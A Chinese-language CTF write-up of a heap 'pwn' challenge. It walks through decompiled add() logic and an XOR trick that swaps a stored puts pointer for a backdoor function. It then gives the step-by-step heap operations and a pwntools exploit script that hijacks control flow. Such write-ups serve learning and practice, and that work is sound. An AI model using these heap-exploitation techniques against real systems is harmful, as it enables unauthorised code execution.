题目链接: 本链接+/pwn

​ 一上来能看到是一个很明显的菜单堆题,并且有后门函数,很明显要劫持控制流,执行后门函数,但问题是没找到通用的漏洞,但是能看到add中,有很大一串逻辑,后来也看到了这里有关于后门函数的操作,以及存放puts函数的地址.

​ 确定思路大概是想办法操作堆块位置,布置好位置,把后门函数放到puts函数的位置,然后调用就可以了.

​ 不过后面看这逻辑看迷糊了….其实挺简单的逻辑, 注意两点,一点是可以辅助画图,来帮助自己分析,另外一点是通过调试来帮助自己分析, 只用脑子想…脑子可能不太够用..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
unsigned __int64 add()
{
....

puts("size:");
size = 0;
__isoc99_scanf("%u", &size);
if ( size <= 0x200 && size > 7 )
{
for ( size_4 = 0; size_4 <= 1; ++size_4 )
{
if ( !*((_QWORD *)&ptrs + 2 * size_4) )
{
dword_4068[4 * size_4] = size;
*((_QWORD *)&ptrs + 2 * size_4) = malloc(size);
if ( !*((_QWORD *)&ptrs + 2 * size_4) )
{
puts("malloc error");
exit(0);
}
**((_QWORD **)&ptrs + 2 * size_4) = &puts;
puts("content:");
v7 = read(0, (void *)(*((_QWORD *)&ptrs + 2 * size_4) + 8LL), size - 8);
if ( v7 > 0 )
*(_BYTE *)(v7 + 7LL + *((_QWORD *)&ptrs + 2 * size_4)) = 0;
v1 = *(_WORD *)(v7 + 14LL + *((_QWORD *)&ptrs + 2 * size_4));
v8 = magicffff;
if ( v1 == 8995 )
v8 = *(unsigned __int64 (**)())(v7 + 8LL + *((_QWORD *)&ptrs + 2 * size_4));
for ( i = 0; i <= 7; ++i )
*(_BYTE *)(v7 + (__int64)i + 8 + *((_QWORD *)&ptrs + 2 * size_4)) = ((__int64)v8 >> (8 * (unsigned __int8)i)) ^ 0x23;
v2 = *(_WORD *)(v7 + 22LL + *((_QWORD *)&ptrs + 2 * size_4));
v8 = magicffff;
if ( v2 == 12850 )
v8 = *(unsigned __int64 (**)())(v7 + 16LL + *((_QWORD *)&ptrs + 2 * size_4));
for ( j = 0; j <= 7; ++j )
*(_BYTE *)(v7 + (__int64)j + 16 + *((_QWORD *)&ptrs + 2 * size_4)) = ((__int64)v8 >> (8 * (unsigned __int8)j)) ^ 0x32;
return __readfsqword(0x28u) ^ v9;
}
}
}
return __readfsqword(0x28u) ^ v9;
}

​ 比较关键的几条语句如下:

1
**((_QWORD **)&ptrs + 2 * size_4) = &puts;

​ 这一条把堆块数据区开头8字节赋值了puts函数的地址

​ 然后从第8字节开始读入剩下的数据

1
v7 = read(0, (void *)(*((_QWORD *)&ptrs + 2 * size_4) + 8LL), size - 8);

​ 下面这两句刚开始没看懂,一直在想怎么样才能满足这个条件呢,这条语句的意思是,判断输入的数据后面第6字节是否等于8995, 14可以拆成两个来看 8 + 6, 8代表了puts的8字节, 6就是剩下的6字节, 然后判断这个地址的值是否等于8995,8995这样的数还是切换成16进制比较好! 因为在gdb中显示的基本都是16进制,这可能也是自己没判断出来相关关系的一个原因

1
2
v1 = *(_WORD *)(v7 + 14LL + *((_QWORD *)&ptrs + 2 * size_4));
if ( v1 == 8995 ) v1 == 0x2323

​ 其实看不太懂没关系,完全可以在gdb中调试的时候发现端倪,在那两次奇怪的xor之后,能够看到符合条件的两个值,0x2323和0x3232

image-20230728215445598

​ 也就是说可以调整位置让程序符合这个判断条件,符合判断条件有什么用呢?

​ 如果不符合条件,v8仍然是后门函数的地址,那么xor后,仍然是一个无效地址,但如果已经xor过一次,通过进入0x2323的执行流,把v8的值设置为xor过一次的地址,那么再次xor后,就恢复原样了!就得到后门函数了

1
2
3
4
5
 v8 = magicffff;       
if ( v1 == 0x2323 )
v8 = *(unsigned __int64 (**)())(v7 + 8LL + *((_QWORD *)&ptrs + 2 * size_4));
for ( i = 0; i <= 7; ++i )
*(_BYTE *)(v7 + (__int64)i + 8 + *((_QWORD *)&ptrs + 2 * size_4)) = ((__int64)v8 >> (8 * (unsigned __int8)i)) ^ 0x23;

具体步骤

  1. 刚开始两次add, 都添加大小为32的块,

image-20230727120328851

  1. 删除0号块

image-20230727120539022

  1. 申请40大小的块(32行吗?32不行,32的话,用不了下一个chunk的prev_size字段),输入31个a(不是32是因为后面会补一个0x00),然后后面两个8字节就被xor了,后面两个8字节,一个是size,一个是存放puts函数地址的,这样的话,就把magic xor后的数值存放到了这里, 所以后面的问题是如何解xor,当时也卡在了这里

其实在调试中仔细观察的话(所以不能光空想!) 会发现有0x2323 0x3232,正好可以进入到两个判断条件中,

后面再进入0x23, 两次xor就回到原先的值了!

image-20230727120606798

  1. 再次释放0

image-20230727170913465

  1. 再次申请0 40,并填满

image-20230727170922279

  1. show 1 就可以了

奥。。。明白为什么比赛的时候做题没做出来了。。没有看懂关键逻辑(以及想当然的以为xor后的东西看着一连串一样的,以为没啥用,其实地址0x55555当然很多一样的了。。)。。就像之前的那道题一样,都不需要写脚本,看懂逻辑了直接交互就可以了

关键逻辑在add里面

image-20230728220659543

偷一下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import * 
from time import sleep
import os
import sys

elfPath = './pwn'
libcPath = ''
remoteAddr = ''
remotePort = ''

context.log_level = 'debug'
context.binary = elfPath
context.terminal = ['tmux', 'splitw', '-h']

myelf = context.binary
if sys.argv[1] == 'l':
sh = process(elfPath)
libc = myelf.libc
else:
if sys.argv[1] == 'd':
sh = process(elfPath, env = {'LD_PRELOAD': libcPath})
else:
sh = remote(remoteAddr,remotePort)
context.log_level = 'info'
if libcPath:
libc = ELF(libcPath)
else:
libc = myelf.libc


def add(sz, content):
sh.sendlineafter('option:\n', '1')
sh.sendlineafter('size:\n', str(sz))
sh.sendlineafter('content:\n', content)

def show(idx):
sh.sendlineafter('option:\n', '2')
sh.sendlineafter('id:\n', str(idx))

def delete(idx):
sh.sendlineafter('option:\n', '3')
sh.sendlineafter('id:\n', str(idx))

if __name__ == '__main__':
add(0x28, 'a' ) # 0
add(0x28, 'b' ) # 1
delete(0)
gdb.attach(sh)
add(0x28, 'c' * 0x1f)
delete(0)
add(0x28,'d' * 0x1f)
show(1)

sh.interactive()
sh.close()

https://www.aucyberclub.org/makaleler/2023/01/31/prototypepollution.html

https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse-2023/calibrator/

很多题都不错,好好搞一下有空